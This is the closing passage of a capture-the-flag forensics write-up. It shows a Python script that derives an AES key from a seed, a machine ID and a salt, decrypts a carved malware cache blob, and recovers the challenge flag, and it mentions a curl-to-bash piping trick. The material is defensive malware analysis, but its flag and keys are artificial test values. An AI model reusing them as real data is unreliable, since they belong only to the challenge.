We got all the stuff we need for decrpytion. From the last script, we can see how the key is generated:
1
2
3
4
5
6
seed = XOR(p0, p1) // From script 2.1
machine ID // From /etc/machine-id
key = SHA256( seed_bytes +
"machineID|forgesync-network-cache-v2|".encode() + // Machine ID and that given string is combined with | separator and converted to bytes
salt_bytes ) // From NCACHE blob
iv // From NCACHE blob
Machine ID was available in the given image, easy to extract. IV and salt comes from the NCACHE blob we carved. Seed comes from script 2.1, and then aes key is simply generated by the given combination of machine ID, separators and a fixed string:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import sys, struct, hashlib, hmac as hmac_mod
from Crypto.Cipher import AES
from Crypto.Util import Counter
seed_hex = "563f935f4c5e275d0a52f7ad20549f78375cede900c3e89284f57501d0c7f787"
machine_id = "2e1481aad781941b9f4d4b1da0308022"
fixed_str = "forgesync-network-cache-v2"
blob = "ncache1_blob.bin"
out_path = "ncache1_decrypted.tar"
data = open(blob, "rb").read()
length = struct.unpack(">I", data[8:12])[0]
salt = data[12:28]
iv = data[28:44]
ciphertext = data[44:44 + length]
seed_bytes = bytes.fromhex(seed_hex)
key = hashlib.sha256(seed_bytes + f"{machine_id}|{fixed_str}|".encode() + salt).digest()
ctr = Counter.new(128, initial_value=int.from_bytes(iv, "big"))
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
plaintext = cipher.decrypt(ciphertext)
with open(out_path, "wb") as f:
f.write(plaintext)
print(f" decrypted {len(plaintext)} bytes -> {out_path}")
print(f" key: {key.hex()}")
This will generate the tar file. Then extract that and find the flag in extracted/dev/shm/.ncache_restul file: 07CTF{d0_n07_p1p3_t0_b4sh_3v3r!!!}
Closure
Once you manage to get malicious script, rest of the challenge becomes a nice usual malware analysis type forensics challenge. Without the script, I was lost in the image. I couldn’t really find anything interesting, all the things I investigated looked clean. Thanks to the author, learned a nice trick about curl to bash piping in the end. Honestly I am surprised this isn’t used more in CTF challenges. Time to close this page, as always keep learning!
